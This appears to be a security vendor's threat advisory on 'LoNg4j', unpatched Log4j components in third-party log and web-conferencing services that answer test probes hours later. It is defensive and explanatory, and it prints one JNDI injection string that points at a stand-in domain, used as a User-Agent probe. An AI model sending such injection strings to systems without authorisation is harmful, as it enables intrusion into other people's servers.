Threat Advisory: LoNg4j in digital supply chain
While helping our customers validate their patching efforts, the CQ Prime Threat Research team found additional unpatched servers with the Log4j vulnerability hidden within their digital supply chain, dubbed LoNg4j.
The Risks
· The Log4j vulnerability is more widespread than we thought, spread across the digital software supply chain.
· Testing reveals that LoNg4j discovery can take as long as 15 hours to discover in contrast to traditional Log4j vulnerability results which can be immediate.
· Unpatched Log4j instances are likely more common than we think across the digital supply chain.
· Initial testing may be too focused on immediate blast radius.
· CISA identified 15 vulnerabilities that malicious actors routinely exploited in 2021 and Log4j was number one.
What the CQ Prime Threat Research team found
Much like lingering Covid symptoms experienced by those who have recovered from the virus, security professionals agree that Log4j risks will exist for the foreseeable future. As a proof point, in February, 2022, the CQ Prime Threat Research team found that 36% of the 50 organizations analyzed remain vulnerable to the Log4j vulnerability with specific verticals like retail and healthcare fare well, while universities and financial services fare poorly.
The statistics show that even after a globally known vulnerability has been disclosed and a patch made available, organizations are still suffering from a lack of applied patches.
While helping our customers validate their Log4j patching efforts, we found that not patching their own estate is only part of the problem. We found unpatched servers within our customers’ digital supply chain that appeared some 15 hours after the initial test results were received. Dubbed “LoNg4j”, this new exploit demonstrates the widespread implications of the Log4j vulnerability and organizations are potentially at risk of it for years to come.
We also found similar attack vectors that exploit Log4j but are performed through the DNS redirection of popular enterprise solutions such as web conferencing. Detecting this type of LoNg4j exploit requires an extensive test infrastructure that most organizations have not allocated. These two pervasive LoNg4j attack vectors mean that a very patient attacker can eventually gain access to a victims’ application through sheer persistence. As an example, we searched for Log4j and LoNg4j vulnerabilities in the world’s Top 50 most used companies and websites. As of April 29, 2022, an initial scan found at least 10% of the websites were vulnerable to Log4j.
When exposed to more persistent analysis, that number went up 300%, indicating the potential existence of the LoNg4j vulnerability. On the positive side, the CQ Prime Threat Research team also identified companies that are doing API Security well. The team looked at organizations in healthcare, retail, and finance, not including our customers, against eight criteria that included the number of exposed APIs, development apps, health endpoints, insecure SSL, service provides, open API files, and exposed files to determine an API success score. Of the companies evaluated, Express Scripts, Costco and JP Morgan came out on top.
Number of vulnerable systems tripled in one organization
While testing our customers’ applications to validate their Log4j patches, we discovered on numerous occasions that they were still responding back as vulnerable to the Log4j vulnerability. With one customer, we had tested across their patched applications, we saw the number of Log4j vulnerabilities go from 10 vulnerable systems, then to 8, then 6, and then suddenly 14 vulnerable systems. In total, 38 vulnerable systems were found that contained the Log4j vulnerability.
Why?
When we looked deeper, each of the applications that responded back with a positive confirmation that they still had unpatched Log4j components were in fact using a popular 3rd-party log storage & analysis cloud service. The 3rd-party log storage and analysis service were still using an unpatched Log4j logging component somewhere within their service but did not realize that they had the vulnerability.
How does the Log4j exploit testing work?
The primary method to figure out if an application has the Log4j vulnerability is to embed a malicious domain lookup request such as sending the following command within a user-agent within a browser:
{jndi:ldap://uniqueIDperTEST.example.com}
The vulnerable Log4j logging component will generate a DNS query to resolve the malicious domain contained in the above command request. The DNS query to the malicious domain confirms that the logging component is vulnerable and there is a high likelihood of it containing the Log4j vulnerability. In essence, this is how all scanners that test for the Log4j vulnerability discover its existence.
Going long on LoNg4j
As we researched the Log4j vulnerability across our customers, the LoNg4j pattern began to emerge, highlighting how interconnected modern enterprise IT infrastructure is and how this digital supply chain extends far beyond the known applications. Modern cloud-based application software is often written where code can make calls to other libraries or services. In our customer example, the application was making calls to a popular 3rd-party log analysis cloud service which turned out still had an unpatched Log4j component residing somewhere within the application. This log analysis cloud service is used by customers to extract meaningful insights from their applications such as who is logging in, how often they log in, and what is their general behavior.
In this case, most likely there was a cron job that read the transferred logs at 12-to-15-hour intervals. As the Log4j component read the JNDI command stored in the transferred logs, the vulnerable Log4j component repeated the unique DNS query of the malicious domain sent above by our test team to the customer application. We know this happened because we received the DNS query to the malicious domain about 12 to 15 hours after we had originally sent it.
In another example, we found a customer that had a permutation of this threat that was enabled by DNS redirection. To obtain 3rd-party cloud services, organizations often rely on DNS redirection to make the service seamless work. These solutions are enabled by setting up DNS records as a subdomain for a customer. For example, you will often see https://webconference.customerdomain.com that redirects to the web conferencing solution in use. In this example, we found that the web conferencing solution had a Log4j vulnerability that could be exploited by an attacker.
Depth and breadth of digital software supply chain
We suspect that we will continue to see many other LoNg4j examples for years to come because of the depth and breadth of the deployment of Log4j across organizations around the world. Today’s modern organizations are layered in software that has been written using open-source software, 3rd-party software and API-driven cloud software services, helping to ensure that software can be written and deployed quickly. Unfortunately, these pieces of software often pull along with it, the vulnerabilities that exist within those 3rd-party components.
What has resulted is a far-reaching digital supply chain with potentially vulnerable applications running across thousands of organizations. Most security and IT teams probably do not know the full scope and severity of the security blind spots that exist within their organization with LoNg4j.
Adding an exclamation point to the potential depth of the LoNg4j challenge, a survey by the Ponemon Institute found on average each organization works with 5,884 third parties. If any of them are vulnerable and they are in your supply chain, your data is potentially vulnerable. Unless and until you can have each supply chain vendor in your digital supply chain patched and verified, organizations can’t declare victory over Log4j. This is something that can take months to years depending on the size of the organization.
Recommendations
Organizations need to be aware of the full extent of how deeply embedded the Log4j component is in their digital supply chain. We expect even with extensive patching programs that Log4J will continue to remain a hidden risk for many years to come. What that means is that unless there is an expanded remediation program to include software that has Log4j components hidden in their software, organizations will continue to remain exposed to cyber-attacks that target the Log4J vulnerability. We recommend each organization take a two-stage process to evaluate software applications if they have a Log4j software component. Working with internal development teams, you can enable extensive patching programs to ensure that each Log4J patch is applied. Most organizations have this step-in hand.
The second stage should look to identify application partners in your digital supply chain that have hidden Log4j components in their software. Working with the respective software vendor, you can determine if they are susceptible to vulnerability and if a patch can be applied. An alternative organization can use their WAF to develop virtual patching rules that ensure that any incoming request is immediately blocked, ensuring that you have time to remediate your internal systems.
Summary
· Expand testing parameters to include 3rd-party targets in your digital supply chain
· Use all available methods of detection and ensure outbound DNS requests are monitored
· Lengthen testing timeframes up to 24 hours to accommodate supply chain traversal including any log analysis or event correlation
Not sure if your servers or servers in your digital supply chain are vulnerable to LoNg4J?
